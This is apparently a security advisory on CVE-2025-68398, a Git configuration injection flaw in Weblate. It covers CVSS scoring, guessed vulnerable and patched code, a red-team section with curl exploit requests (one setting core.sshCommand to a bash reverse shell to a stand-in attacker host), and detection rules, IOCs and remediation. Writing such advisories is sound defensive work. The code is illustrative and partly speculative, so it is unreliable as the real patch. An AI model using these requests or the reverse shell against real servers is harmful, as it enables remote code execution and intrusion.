CVE-2025-68398

Executive Summary

CVE-2025-68398 is a critical vulnerability in Weblate, a web-based localization tool. The flaw allows an unauthenticated remote attacker to overwrite Git configuration settings, potentially leading to arbitrary code execution, repository compromise, or data exfiltration. The vulnerability exists in versions prior to 5.15.1 and has a CVSS score of 9.1, indicating a critical severity. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the risk is high due to the potential for remote exploitation.

Supply Chain & Package Security

Weblate is a Python-based application distributed via PyPI. Organizations using Weblate should verify their deployment version and ensure no compromised dependencies are present. The vulnerability is in the core application logic, not a third-party package, but supply chain risks include malicious commits to repositories managed by a compromised Weblate instance.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality Impact (C): High (H) – Full data access possible.
• Integrity Impact (I): High (H) – Git configuration can be overwritten.
• Availability Impact (A): High (H) – Service disruption possible.

Threat Level: Critical. The combination of network exploitability, low complexity, and no required privileges makes this a high-priority vulnerability for immediate patching.

Deep Dive & Mechanics

The vulnerability stems from insufficient input validation in Weblate's Git integration. An attacker can craft a malicious request to the Weblate API or web interface that injects arbitrary Git configuration directives. This allows overwriting of critical Git settings such as core.gitProxy, core.sshCommand, or credential.helper, which can be leveraged to execute arbitrary commands on the server.

Attack Flow:

1. The attacker sends a specially crafted HTTP request to a Weblate endpoint that accepts Git configuration parameters.
2. The request bypasses input sanitization and writes attacker-controlled values to the Git configuration file (.git/config).
3. The attacker sets a malicious core.gitProxy or core.sshCommand that points to a script or binary.
4. On the next Git operation (e.g., push, pull, clone), the malicious configuration is executed, leading to remote code execution.

Root Cause: Lack of validation on user-supplied Git configuration keys and values, allowing injection of arbitrary configuration directives.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.15.1):

# In git.py or similar
def set_git_config(repo_path, key, value):
    config_path = os.path.join(repo_path, '.git', 'config')
    with open(config_path, 'a') as f:
        f.write(f"[{key}]\n\tvalue = {value}\n")

This code directly appends user input to the Git config file without sanitization.

Patched Code (5.15.1):

# In git.py or similar
import subprocess

def set_git_config(repo_path, key, value):
    # Use git config command to safely set values
    subprocess.run(
        ['git', 'config', '--file', os.path.join(repo_path, '.git', 'config'), key, value],
        check=True,
        capture_output=True
    )

The patched version uses the git config command, which properly escapes and validates input, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Weblate instance (version < 5.15.1) accessible over the network.
• Knowledge of a valid project or repository path.

Exploitation Steps:

1. Identify the Weblate instance and a target repository.
2. Send a POST request to the API endpoint that handles Git configuration (e.g., /api/projects/{project}/repository/).
3. Inject a malicious Git configuration:

   curl -X POST "https://target.weblate.example/api/projects/test-project/repository/" \
     -H "Content-Type: application/json" \
     -d '{"config": {"core.gitProxy": "/tmp/evil.sh"}}'
   

4. Upload a malicious script to the server (if file upload is available) or use a remote payload.
5. Trigger a Git operation (e.g., push a commit) to execute the malicious configuration.

Alternative Payload:

# Set core.sshCommand to execute a reverse shell
curl -X POST "https://target.weblate.example/api/projects/test-project/repository/" \
  -H "Content-Type: application/json" \
  -d '{"config": {"core.sshCommand": "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"}}'

Blue Team

Detection:

• Monitor for unusual Git configuration changes via Weblate API logs.
• Alert on any modifications to .git/config files in Weblate-managed repositories.
• Use file integrity monitoring (FIM) on the Weblate server to detect unauthorized changes to Git config files.

Hunting:

• Search for HTTP requests to Weblate endpoints containing config parameters with suspicious values (e.g., core.gitProxy, core.sshCommand).
• Review Git operation logs for unexpected commands or connections to external IPs.

Containment:

• Immediately isolate the affected Weblate instance.
• Review and revert any unauthorized Git configuration changes.
• Rotate all credentials stored in Git repositories managed by the instance.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the Weblate server to unknown IPs on ports 22, 443, or custom ports.
  • HTTP requests to Weblate API endpoints with config parameters containing core.gitProxy, core.sshCommand, or credential.helper.
• File System:
  • Unauthorized modifications to .git/config files in Weblate-managed repositories.
  • Presence of unexpected scripts or binaries in /tmp/ or other writable directories.
• Process:
  • Execution of git commands with unusual arguments (e.g., git config --file with attacker-controlled values).
  • Spawned shells or reverse shell processes.

Detection Engineering

YARA Rule

rule CVE_2025_68398_Weblate_Git_Config_Overwrite {
    meta:
        description = "Detects attempts to overwrite Git configuration in Weblate"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-68398"
    strings:
        $s1 = "core.gitProxy" ascii wide nocase
        $s2 = "core.sshCommand" ascii wide nocase
        $s3 = "credential.helper" ascii wide nocase
        $s4 = "git config" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2025-68398 - Weblate Git Configuration Overwrite
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to overwrite Git configuration in Weblate
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'core.gitProxy'
            - 'core.sshCommand'
            - 'credential.helper'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68398 - Weblate Git Configuration Overwrite Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"core.gitProxy"; http_client_body;
    content:"core.sshCommand"; http_client_body;
    content:"credential.helper"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Weblate to version 5.15.1 or later.
2. If immediate upgrade is not possible, restrict network access to the Weblate API and web interface.
3. Implement a Web Application Firewall (WAF) rule to block requests containing core.gitProxy, core.sshCommand, or credential.helper in the request body.

Long-term Mitigations:

• Regularly update Weblate and its dependencies.
• Conduct security audits of custom integrations with Git.
• Implement input validation and output encoding for all user-supplied data.
• Use principle of least privilege for Weblate service accounts.

Workaround:

• Disable the Git configuration API endpoint if not required, or restrict it to authenticated administrators only.

Valters IT